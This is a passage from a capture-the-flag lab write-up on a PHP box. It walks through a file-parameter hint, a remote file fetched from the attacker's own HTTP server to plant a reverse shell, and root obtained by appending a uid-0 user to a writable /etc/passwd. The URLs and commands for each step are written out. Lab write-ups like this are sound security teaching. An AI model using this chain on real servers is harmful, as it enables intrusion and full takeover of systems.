Which gave me this directory: 47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055
So I searched for it:
As I didnโt detect anything with dirsearch ๐, I decided to look at the source code:
It gave me the hint <!-- hint: /?file= -->, so it seemed like some kind of LFI
I tried to fuzz it and didnโt work, so I put the unique file that is detected by dirsearch, which is index.php and searched for it: http://10.10.114.31/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055/?file=index.php
It printed some kind of hex code, which I decrypted using Cyberchef:
It was the script behind the ?file=:
I analyzed it in search of some code vulnerability and I found that in unserialize(file_get_contents($file_name)); the function unserialize let us to load any file on the Internet.
After this I initialize a python server python3 -m http.server 8090
And then I search for my file (the .txt one) like: view-source:10.10.114.31/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055/?file=http://10.11.74.136:8090/shell.txt
So once here, the file is uploaded and you can search it: view-source:10.10.114.31/47315028937264895539131328176684350732577039984023005189203993885687328953804202704977050807800832928198526567069446044422855055/remote.php
Take care of putting the name inside the php shell (in my case remote.php)
Weโve got a reverse shell:
And we found the user flag on the /home/grecia directory
I uploaded linpeas to scan for privilege escalation and found that the /etc/passwd was writable, so I did the following:
# On my machine
openssl passwd -1 -salt hacker hacker
# Then, on the /etc/passwd file I added at the end
hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash
After this, I logged in as the user hacker and got root access.